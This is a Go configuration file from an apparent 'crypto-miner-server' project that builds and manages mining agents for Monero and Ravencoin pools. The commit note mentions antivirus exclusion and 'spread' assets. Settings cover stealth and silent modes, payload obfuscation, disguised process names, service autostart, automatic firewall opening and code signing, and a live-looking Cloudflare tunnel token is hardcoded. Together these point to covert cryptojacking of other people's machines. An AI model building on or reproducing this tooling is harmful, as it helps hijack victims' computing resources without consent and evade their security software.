Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
924 lines
33 KiB
Go
924 lines
33 KiB
Go
package main
|
|
|
|
import (
|
|
"encoding/json"
|
|
"flag"
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"crypto-miner-server/internal/alerts"
|
|
)
|
|
|
|
type Config struct {
|
|
Port int `json:"port"`
|
|
DataDir string `json:"-"` // set from -data CLI flag; never written to config.json
|
|
|
|
Pool PoolConfig `json:"pool"`
|
|
Wallet WalletConfig `json:"wallet"`
|
|
|
|
// Ravencoin / GPU mining defaults — pre-populated in Forge when set here.
|
|
RvnPool PoolConfig `json:"rvn_pool,omitempty"`
|
|
RvnWallet WalletConfig `json:"rvn_wallet,omitempty"`
|
|
|
|
// Legacy JSON fields — ignored at runtime; Forge bakes per-miner settings into installers.
|
|
DefaultAgent AgentDefaults `json:"default_agent_config,omitempty"`
|
|
Background BackgroundConfig `json:"background,omitempty"`
|
|
Alerts AlertsConfig `json:"alerts"`
|
|
Server ServerSettings `json:"server"`
|
|
TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"`
|
|
}
|
|
|
|
// TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate).
|
|
type TunnelDefaults struct {
|
|
// CloudflaredTargetURL is the default outbound tunnel target (usually server public_url).
|
|
CloudflaredTargetURL string `json:"cloudflared_target_url"`
|
|
// CloudflareTunnelToken is the Zero Trust connector token (cloudflared tunnel run --token).
|
|
// Also mirrored to data/cloudflared-token.txt on save for LAUNCH.bat / portable USB.
|
|
CloudflareTunnelToken string `json:"cloudflare_tunnel_token,omitempty"`
|
|
}
|
|
|
|
// ServerSettings controls the locally hosted control server (not baked into miners).
|
|
type ServerSettings struct {
|
|
PublicURL string `json:"public_url"`
|
|
StatsRetentionHours int `json:"stats_retention_hours"`
|
|
BuildRetentionDays int `json:"build_retention_days"`
|
|
PoolReconnectSeconds int `json:"pool_reconnect_seconds"`
|
|
WebSocketPingSeconds int `json:"websocket_ping_seconds"`
|
|
MaxAgents int `json:"max_agents"`
|
|
MaxBuildSizeMB int `json:"max_build_size_mb"`
|
|
LogAgentConnections bool `json:"log_agent_connections"`
|
|
LogShareSubmissions bool `json:"log_share_submissions"`
|
|
LogPoolTraffic bool `json:"log_pool_traffic"`
|
|
StrictWalletValidation bool `json:"strict_wallet_validation"`
|
|
DashboardSubtitle string `json:"dashboard_subtitle"`
|
|
OpenFirewallOnStart bool `json:"open_firewall_on_start"`
|
|
ObfuscateDefault bool `json:"obfuscate_default"`
|
|
SignEnabled bool `json:"sign_enabled"`
|
|
SignCertThumbprint string `json:"sign_cert_thumbprint"`
|
|
SignToolPath string `json:"sign_tool_path"`
|
|
SignTimestampURL string `json:"sign_timestamp_url"`
|
|
// FleetSecret is a random token generated once on first run and baked into
|
|
// every forged agent binary. Agents must present it on connect or be rejected.
|
|
FleetSecret string `json:"fleet_secret"`
|
|
// PublicBuildsEnabled exposes all builds on unauthenticated /api/v1/public/* routes.
|
|
// When false (default), only pinned + public-flagged + latest PublicBuildsLatestN are listed.
|
|
PublicBuildsEnabled bool `json:"public_builds_enabled"`
|
|
PublicBuildsLatestN int `json:"public_builds_latest_n"`
|
|
}
|
|
|
|
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
|
|
type PoolEndpoint struct {
|
|
Host string `json:"host"`
|
|
Port int `json:"port"`
|
|
UseTLS bool `json:"use_tls"`
|
|
}
|
|
|
|
type PoolConfig struct {
|
|
Host string `json:"host"`
|
|
Port int `json:"port"`
|
|
UseTLS bool `json:"use_tls"`
|
|
Password string `json:"password"`
|
|
BackupPools []PoolEndpoint `json:"backup_pools,omitempty"`
|
|
}
|
|
|
|
type WalletConfig struct {
|
|
Address string `json:"address"`
|
|
PaymentID string `json:"payment_id"`
|
|
}
|
|
|
|
type AgentDefaults struct {
|
|
Threads int `json:"threads"`
|
|
ThreadMode string `json:"thread_mode"`
|
|
ThreadPercent int `json:"thread_percent"`
|
|
CPUPriority string `json:"cpu_priority"`
|
|
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
|
MaxMemoryPct int `json:"max_memory_percent"`
|
|
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
|
MiningMode string `json:"mining_mode"`
|
|
DisplayMode string `json:"display_mode"`
|
|
ProcessName string `json:"process_name"`
|
|
IdleThresholdPct int `json:"idle_threshold_pct"`
|
|
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
|
ScheduleStart string `json:"schedule_start"`
|
|
ScheduleEnd string `json:"schedule_end"`
|
|
InstallBase string `json:"install_base"`
|
|
InstallCustomBase string `json:"install_custom_base"`
|
|
InstallRelativePath string `json:"install_relative_path"`
|
|
AdaptToHardware bool `json:"adapt_to_hardware"`
|
|
SelfHealing bool `json:"self_healing"`
|
|
FileLogging bool `json:"file_logging"`
|
|
StealthMode bool `json:"stealth_mode"`
|
|
}
|
|
|
|
type BackgroundConfig struct {
|
|
SilentMode bool `json:"silent_mode"`
|
|
RunAs string `json:"run_as"`
|
|
AutoStart bool `json:"auto_start"`
|
|
}
|
|
|
|
type AlertsConfig struct {
|
|
OfflineThresholdMinutes int `json:"offline_threshold_minutes"`
|
|
HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"`
|
|
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
|
|
TelegramBotToken string `json:"telegram_bot_token"`
|
|
TelegramChatID string `json:"telegram_chat_id"`
|
|
WebhookURL string `json:"webhook_url"`
|
|
// Per-event Telegram/email toggles (default true).
|
|
NotifyAgentConnect bool `json:"notify_agent_connect"`
|
|
NotifyAgentReconnect bool `json:"notify_agent_reconnect"`
|
|
NotifyAgentOffline bool `json:"notify_agent_offline"`
|
|
NotifyHashrateDrop bool `json:"notify_hashrate_drop"`
|
|
NotifyRejectionRate bool `json:"notify_rejection_rate"`
|
|
NotifyBuildComplete bool `json:"notify_build_complete"`
|
|
NotifyKEVExposure bool `json:"notify_kev_exposure"`
|
|
EmailEnabled bool `json:"email_enabled"`
|
|
SMTPHost string `json:"smtp_host"`
|
|
SMTPPort int `json:"smtp_port"`
|
|
SMTPUser string `json:"smtp_user"`
|
|
SMTPPassword string `json:"smtp_password"`
|
|
EmailTo string `json:"email_to"`
|
|
EmailFrom string `json:"email_from"`
|
|
}
|
|
|
|
func DefaultConfig() *Config {
|
|
return &Config{
|
|
Port: 8989,
|
|
DataDir: "data",
|
|
Pool: PoolConfig{
|
|
Host: "pool.supportxmr.com",
|
|
Port: 443,
|
|
UseTLS: true,
|
|
Password: "x",
|
|
BackupPools: []PoolEndpoint{
|
|
{Host: "gulf.moneroocean.stream", Port: 20128, UseTLS: true},
|
|
{Host: "xmr.herominers.com", Port: 1120, UseTLS: true},
|
|
},
|
|
},
|
|
Wallet: WalletConfig{
|
|
Address: "",
|
|
PaymentID: "",
|
|
},
|
|
RvnPool: PoolConfig{
|
|
Host: "rvn.2miners.com",
|
|
Port: 6060,
|
|
UseTLS: false,
|
|
Password: "x",
|
|
BackupPools: []PoolEndpoint{
|
|
{Host: "stratum-ravencoin.flypool.org", Port: 3333, UseTLS: false},
|
|
{Host: "kawpow.herominers.com", Port: 1130, UseTLS: false},
|
|
},
|
|
},
|
|
RvnWallet: WalletConfig{
|
|
Address: "",
|
|
},
|
|
DefaultAgent: AgentDefaults{
|
|
Threads: 4,
|
|
ThreadMode: "percent",
|
|
ThreadPercent: 75,
|
|
CPUPriority: "below_normal",
|
|
MaxCPUUsagePct: 80,
|
|
MaxMemoryPct: 70,
|
|
MinFreeRAMMB: 1024,
|
|
MiningMode: "always",
|
|
DisplayMode: "background",
|
|
ProcessName: "",
|
|
IdleThresholdPct: 20,
|
|
IdleDurationMinutes: 5,
|
|
ScheduleStart: "21:00",
|
|
ScheduleEnd: "06:00",
|
|
InstallBase: "localappdata",
|
|
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
|
AdaptToHardware: true,
|
|
SelfHealing: true,
|
|
FileLogging: true,
|
|
StealthMode: false,
|
|
},
|
|
Background: BackgroundConfig{
|
|
SilentMode: true,
|
|
RunAs: "service",
|
|
AutoStart: true,
|
|
},
|
|
Alerts: AlertsConfig{
|
|
OfflineThresholdMinutes: 5,
|
|
HashrateDropThresholdPct: 50,
|
|
RejectionRateThresholdPct: 5,
|
|
NotifyAgentConnect: true,
|
|
NotifyAgentReconnect: true,
|
|
NotifyAgentOffline: true,
|
|
NotifyHashrateDrop: true,
|
|
NotifyRejectionRate: true,
|
|
NotifyBuildComplete: true,
|
|
NotifyKEVExposure: true,
|
|
},
|
|
Server: ServerSettings{
|
|
PublicURL: "",
|
|
StatsRetentionHours: 168,
|
|
BuildRetentionDays: 30,
|
|
PoolReconnectSeconds: 30,
|
|
WebSocketPingSeconds: 30,
|
|
MaxAgents: 256,
|
|
MaxBuildSizeMB: 150,
|
|
LogAgentConnections: true,
|
|
LogShareSubmissions: false,
|
|
LogPoolTraffic: false,
|
|
StrictWalletValidation: false,
|
|
DashboardSubtitle: "security is just an emotion",
|
|
OpenFirewallOnStart: true,
|
|
ObfuscateDefault: false,
|
|
SignEnabled: false,
|
|
SignTimestampURL: "http://timestamp.digicert.com",
|
|
PublicBuildsLatestN: 3,
|
|
},
|
|
}
|
|
}
|
|
|
|
func LoadConfig() *Config {
|
|
cfg := DefaultConfig()
|
|
|
|
port := flag.Int("port", 8989, "Server port")
|
|
dataDir := flag.String("data", "data", "Data directory")
|
|
cliPortExplicit := false
|
|
flag.Parse()
|
|
flag.Visit(func(f *flag.Flag) {
|
|
if f.Name == "port" {
|
|
cliPortExplicit = true
|
|
}
|
|
})
|
|
cliPort := *port
|
|
|
|
// Resolve data dir before reading config.json so relative -data always targets <repo>/data.
|
|
projectRoot := findProjectRoot()
|
|
cfg.DataDir = resolveDataDir(*dataDir, projectRoot)
|
|
if cliPortExplicit {
|
|
cfg.Port = cliPort
|
|
} else {
|
|
cfg.Port = cliPort
|
|
}
|
|
|
|
configPath := filepath.Join(cfg.DataDir, "config.json")
|
|
if data, err := os.ReadFile(configPath); err == nil {
|
|
var fileCfg Config
|
|
if unmarshalErr := json.Unmarshal(data, &fileCfg); unmarshalErr != nil {
|
|
fmt.Fprintf(os.Stderr, "[Config] WARNING: config.json is malformed and will be ignored: %v\n", unmarshalErr)
|
|
} else {
|
|
// Use mergeConfigExplicit so that boolean fields absent from the file
|
|
// keep their DefaultConfig values instead of being zeroed (H14).
|
|
var presentKeys map[string]json.RawMessage
|
|
_ = json.Unmarshal(data, &presentKeys)
|
|
mergeConfigExplicit(cfg, &fileCfg, presentKeys)
|
|
if !strings.Contains(string(data), `"open_firewall_on_start"`) {
|
|
cfg.Server.OpenFirewallOnStart = true
|
|
}
|
|
if !strings.Contains(string(data), `"notify_agent_connect"`) {
|
|
cfg.Alerts.NotifyAgentConnect = true
|
|
cfg.Alerts.NotifyAgentReconnect = true
|
|
cfg.Alerts.NotifyAgentOffline = true
|
|
cfg.Alerts.NotifyHashrateDrop = true
|
|
cfg.Alerts.NotifyRejectionRate = true
|
|
cfg.Alerts.NotifyBuildComplete = true
|
|
cfg.Alerts.NotifyKEVExposure = true
|
|
}
|
|
}
|
|
}
|
|
|
|
// Explicit -port wins over config.json (LAUNCH/devrun pass -port alongside file-based settings).
|
|
if cliPortExplicit {
|
|
cfg.Port = cliPort
|
|
}
|
|
|
|
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
|
|
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
|
|
}
|
|
hydrateCloudflareTokenFromFile(cfg)
|
|
|
|
return cfg
|
|
}
|
|
|
|
const cloudflaredTokenFile = "cloudflared-token.txt"
|
|
|
|
// Builtin Cloudflare Zero Trust connector token (used when env/config/file are unset).
|
|
const builtinCloudflareTunnelToken = "eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9"
|
|
|
|
// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, file, then builtin default).
|
|
func (c *Config) ConnectorToken() string {
|
|
if c == nil {
|
|
return builtinCloudflareTunnelToken
|
|
}
|
|
if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" {
|
|
return t
|
|
}
|
|
if t := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken); t != "" {
|
|
return t
|
|
}
|
|
if c.DataDir != "" {
|
|
if data, err := os.ReadFile(filepath.Join(c.DataDir, cloudflaredTokenFile)); err == nil {
|
|
if t := strings.TrimSpace(string(data)); t != "" {
|
|
return t
|
|
}
|
|
}
|
|
}
|
|
return builtinCloudflareTunnelToken
|
|
}
|
|
|
|
func hydrateCloudflareTokenFromFile(cfg *Config) {
|
|
if cfg == nil || strings.TrimSpace(cfg.TunnelDefaults.CloudflareTunnelToken) != "" || cfg.DataDir == "" {
|
|
return
|
|
}
|
|
data, err := os.ReadFile(filepath.Join(cfg.DataDir, cloudflaredTokenFile))
|
|
if err != nil {
|
|
return
|
|
}
|
|
cfg.TunnelDefaults.CloudflareTunnelToken = strings.TrimSpace(string(data))
|
|
}
|
|
|
|
func (c *Config) syncCloudflaredTokenFile() {
|
|
if c == nil || c.DataDir == "" {
|
|
return
|
|
}
|
|
tok := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken)
|
|
if tok == "" {
|
|
return
|
|
}
|
|
path := filepath.Join(c.DataDir, cloudflaredTokenFile)
|
|
_ = os.WriteFile(path, []byte(tok+"\n"), 0600)
|
|
}
|
|
|
|
// AlertSettings builds notification settings for the alerts package.
|
|
func (c *Config) AlertSettings() alerts.Settings {
|
|
if c == nil {
|
|
return alerts.Settings{}
|
|
}
|
|
return alerts.NewSettings(alerts.NotifyConfig{
|
|
TelegramBotToken: c.Alerts.TelegramBotToken,
|
|
TelegramChatID: c.Alerts.TelegramChatID,
|
|
WebhookURL: c.Alerts.WebhookURL,
|
|
EmailEnabled: c.Alerts.EmailEnabled,
|
|
SMTPHost: c.Alerts.SMTPHost,
|
|
SMTPPort: c.Alerts.SMTPPort,
|
|
SMTPUser: c.Alerts.SMTPUser,
|
|
SMTPPassword: c.Alerts.SMTPPassword,
|
|
EmailTo: c.Alerts.EmailTo,
|
|
EmailFrom: c.Alerts.EmailFrom,
|
|
}, alerts.EventToggles{
|
|
AgentConnect: c.Alerts.NotifyAgentConnect,
|
|
AgentReconnect: c.Alerts.NotifyAgentReconnect,
|
|
AgentOffline: c.Alerts.NotifyAgentOffline,
|
|
HashrateDrop: c.Alerts.NotifyHashrateDrop,
|
|
RejectionRate: c.Alerts.NotifyRejectionRate,
|
|
BuildComplete: c.Alerts.NotifyBuildComplete,
|
|
KEVExposure: c.Alerts.NotifyKEVExposure,
|
|
})
|
|
}
|
|
|
|
func mergeConfig(dst, src *Config) {
|
|
if src.Port != 0 {
|
|
dst.Port = src.Port
|
|
}
|
|
if src.DataDir != "" {
|
|
dst.DataDir = src.DataDir
|
|
}
|
|
if src.Pool.Host != "" {
|
|
dst.Pool.Host = src.Pool.Host
|
|
}
|
|
if src.Pool.Port != 0 {
|
|
dst.Pool.Port = src.Pool.Port
|
|
}
|
|
dst.Pool.UseTLS = src.Pool.UseTLS
|
|
if src.Pool.Password != "" {
|
|
dst.Pool.Password = src.Pool.Password
|
|
}
|
|
if len(src.Pool.BackupPools) > 0 {
|
|
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
|
|
}
|
|
if src.Wallet.Address != "" {
|
|
dst.Wallet.Address = src.Wallet.Address
|
|
}
|
|
if src.Wallet.PaymentID != "" {
|
|
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
|
}
|
|
if src.RvnPool.Host != "" {
|
|
dst.RvnPool.Host = src.RvnPool.Host
|
|
}
|
|
if src.RvnPool.Port != 0 {
|
|
dst.RvnPool.Port = src.RvnPool.Port
|
|
}
|
|
dst.RvnPool.UseTLS = src.RvnPool.UseTLS
|
|
if src.RvnPool.Password != "" {
|
|
dst.RvnPool.Password = src.RvnPool.Password
|
|
}
|
|
if len(src.RvnPool.BackupPools) > 0 {
|
|
dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
|
|
}
|
|
if src.RvnWallet.Address != "" {
|
|
dst.RvnWallet.Address = src.RvnWallet.Address
|
|
}
|
|
if src.DefaultAgent.Threads != 0 {
|
|
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
|
}
|
|
if src.DefaultAgent.ThreadMode != "" {
|
|
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
|
}
|
|
if src.DefaultAgent.ThreadPercent != 0 {
|
|
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
|
}
|
|
if src.DefaultAgent.CPUPriority != "" {
|
|
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
|
}
|
|
if src.DefaultAgent.MaxCPUUsagePct != 0 {
|
|
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
|
}
|
|
if src.DefaultAgent.MaxMemoryPct != 0 {
|
|
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
|
}
|
|
if src.DefaultAgent.MinFreeRAMMB != 0 {
|
|
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
|
}
|
|
if src.DefaultAgent.MiningMode != "" {
|
|
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
|
}
|
|
if src.DefaultAgent.DisplayMode != "" {
|
|
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
|
}
|
|
if src.DefaultAgent.ProcessName != "" {
|
|
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
|
}
|
|
if src.DefaultAgent.IdleThresholdPct != 0 {
|
|
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
|
}
|
|
if src.DefaultAgent.IdleDurationMinutes != 0 {
|
|
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
|
}
|
|
if src.DefaultAgent.ScheduleStart != "" {
|
|
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
|
}
|
|
if src.DefaultAgent.ScheduleEnd != "" {
|
|
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
|
}
|
|
if src.DefaultAgent.InstallBase != "" {
|
|
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
|
}
|
|
if src.DefaultAgent.InstallCustomBase != "" {
|
|
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
|
}
|
|
if src.DefaultAgent.InstallRelativePath != "" {
|
|
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
|
}
|
|
if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging {
|
|
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
|
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
|
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
|
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
|
}
|
|
dst.Background.SilentMode = src.Background.SilentMode
|
|
if src.Background.RunAs != "" {
|
|
dst.Background.RunAs = src.Background.RunAs
|
|
}
|
|
dst.Background.AutoStart = src.Background.AutoStart
|
|
if src.Alerts.OfflineThresholdMinutes != 0 {
|
|
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
|
}
|
|
if src.Alerts.HashrateDropThresholdPct != 0 {
|
|
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
|
}
|
|
if src.Alerts.RejectionRateThresholdPct != 0 {
|
|
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
|
}
|
|
if src.Alerts.TelegramBotToken != "" {
|
|
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
|
|
}
|
|
if src.Alerts.TelegramChatID != "" {
|
|
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
|
}
|
|
if src.Alerts.WebhookURL != "" {
|
|
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
|
|
}
|
|
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
|
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
|
|
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
|
|
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
|
|
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
|
|
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
|
|
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
|
|
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
|
|
if src.Alerts.SMTPHost != "" {
|
|
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
|
}
|
|
if src.Alerts.SMTPPort != 0 {
|
|
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
|
|
}
|
|
if src.Alerts.SMTPUser != "" {
|
|
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
|
|
}
|
|
if src.Alerts.SMTPPassword != "" {
|
|
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
|
|
}
|
|
if src.Alerts.EmailTo != "" {
|
|
dst.Alerts.EmailTo = src.Alerts.EmailTo
|
|
}
|
|
if src.Alerts.EmailFrom != "" {
|
|
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
|
|
}
|
|
if src.Server.PublicURL != "" {
|
|
dst.Server.PublicURL = src.Server.PublicURL
|
|
}
|
|
if src.Server.StatsRetentionHours != 0 {
|
|
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
|
|
}
|
|
if src.Server.BuildRetentionDays != 0 {
|
|
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
|
|
}
|
|
if src.Server.PoolReconnectSeconds != 0 {
|
|
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
|
|
}
|
|
if src.Server.WebSocketPingSeconds != 0 {
|
|
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
|
|
}
|
|
if src.Server.MaxAgents != 0 {
|
|
dst.Server.MaxAgents = src.Server.MaxAgents
|
|
}
|
|
if src.Server.MaxBuildSizeMB != 0 {
|
|
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
|
|
}
|
|
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
|
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
|
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
|
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
|
if src.Server.DashboardSubtitle != "" {
|
|
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
|
}
|
|
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
|
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
|
dst.Server.SignEnabled = src.Server.SignEnabled
|
|
if src.Server.SignCertThumbprint != "" {
|
|
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
|
}
|
|
if src.Server.SignToolPath != "" {
|
|
dst.Server.SignToolPath = src.Server.SignToolPath
|
|
}
|
|
if src.Server.SignTimestampURL != "" {
|
|
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
|
}
|
|
if src.Server.FleetSecret != "" {
|
|
dst.Server.FleetSecret = src.Server.FleetSecret
|
|
}
|
|
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
|
|
if src.Server.PublicBuildsLatestN != 0 {
|
|
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
|
|
}
|
|
if src.TunnelDefaults.CloudflaredTargetURL != "" {
|
|
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
|
|
}
|
|
if src.TunnelDefaults.CloudflareTunnelToken != "" {
|
|
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
|
|
}
|
|
}
|
|
|
|
// nestedJSONKeys returns keys explicitly present in a nested JSON object section.
|
|
func nestedJSONKeys(present map[string]json.RawMessage, section string) map[string]json.RawMessage {
|
|
if present == nil {
|
|
return nil
|
|
}
|
|
raw, ok := present[section]
|
|
if !ok || len(raw) == 0 {
|
|
return nil
|
|
}
|
|
var nested map[string]json.RawMessage
|
|
if err := json.Unmarshal(raw, &nested); err != nil {
|
|
return nil
|
|
}
|
|
return nested
|
|
}
|
|
|
|
// mergeConfigExplicit is like mergeConfig but only applies fields when the
|
|
// corresponding JSON key was explicitly present in the PUT payload.
|
|
// Top-level absence preserves existing values (H14); nested absence within a
|
|
// section preserves sibling fields (partial PUT / import shallow-merge fix).
|
|
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
|
if present == nil {
|
|
// Fall back to old behaviour if we have no key presence info
|
|
mergeConfig(dst, src)
|
|
return
|
|
}
|
|
has := func(key string) bool { _, ok := present[key]; return ok }
|
|
in := func(section map[string]json.RawMessage, key string) bool {
|
|
if section == nil {
|
|
return false
|
|
}
|
|
_, ok := section[key]
|
|
return ok
|
|
}
|
|
|
|
// Non-boolean scalar fields — safe to use zero-value guard
|
|
if has("port") && src.Port != 0 {
|
|
dst.Port = src.Port
|
|
}
|
|
if has("data_dir") && src.DataDir != "" {
|
|
dst.DataDir = src.DataDir
|
|
}
|
|
|
|
if has("pool") {
|
|
poolKeys := nestedJSONKeys(present, "pool")
|
|
if in(poolKeys, "host") && src.Pool.Host != "" {
|
|
dst.Pool.Host = src.Pool.Host
|
|
}
|
|
if in(poolKeys, "port") && src.Pool.Port != 0 {
|
|
dst.Pool.Port = src.Pool.Port
|
|
}
|
|
if in(poolKeys, "use_tls") {
|
|
dst.Pool.UseTLS = src.Pool.UseTLS
|
|
}
|
|
if in(poolKeys, "password") && src.Pool.Password != "" {
|
|
dst.Pool.Password = src.Pool.Password
|
|
}
|
|
if in(poolKeys, "backup_pools") {
|
|
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
|
|
}
|
|
}
|
|
|
|
if has("wallet") {
|
|
walletKeys := nestedJSONKeys(present, "wallet")
|
|
if in(walletKeys, "address") && src.Wallet.Address != "" {
|
|
dst.Wallet.Address = src.Wallet.Address
|
|
}
|
|
if in(walletKeys, "payment_id") && src.Wallet.PaymentID != "" {
|
|
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
|
}
|
|
}
|
|
|
|
if has("rvn_pool") {
|
|
rvnPoolKeys := nestedJSONKeys(present, "rvn_pool")
|
|
if in(rvnPoolKeys, "host") && src.RvnPool.Host != "" {
|
|
dst.RvnPool.Host = src.RvnPool.Host
|
|
}
|
|
if in(rvnPoolKeys, "port") && src.RvnPool.Port != 0 {
|
|
dst.RvnPool.Port = src.RvnPool.Port
|
|
}
|
|
if in(rvnPoolKeys, "use_tls") {
|
|
dst.RvnPool.UseTLS = src.RvnPool.UseTLS
|
|
}
|
|
if in(rvnPoolKeys, "password") && src.RvnPool.Password != "" {
|
|
dst.RvnPool.Password = src.RvnPool.Password
|
|
}
|
|
if in(rvnPoolKeys, "backup_pools") {
|
|
dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
|
|
}
|
|
}
|
|
|
|
if has("rvn_wallet") {
|
|
rvnWalletKeys := nestedJSONKeys(present, "rvn_wallet")
|
|
if in(rvnWalletKeys, "address") && src.RvnWallet.Address != "" {
|
|
dst.RvnWallet.Address = src.RvnWallet.Address
|
|
}
|
|
}
|
|
|
|
// The JSON struct tag is "default_agent_config" — must match exactly.
|
|
if has("default_agent_config") {
|
|
daKeys := nestedJSONKeys(present, "default_agent_config")
|
|
if in(daKeys, "threads") && src.DefaultAgent.Threads != 0 {
|
|
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
|
}
|
|
if in(daKeys, "thread_mode") && src.DefaultAgent.ThreadMode != "" {
|
|
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
|
}
|
|
if in(daKeys, "thread_percent") && src.DefaultAgent.ThreadPercent != 0 {
|
|
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
|
}
|
|
if in(daKeys, "cpu_priority") && src.DefaultAgent.CPUPriority != "" {
|
|
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
|
}
|
|
if in(daKeys, "max_cpu_usage_pct") && src.DefaultAgent.MaxCPUUsagePct != 0 {
|
|
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
|
}
|
|
if in(daKeys, "max_memory_percent") && src.DefaultAgent.MaxMemoryPct != 0 {
|
|
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
|
}
|
|
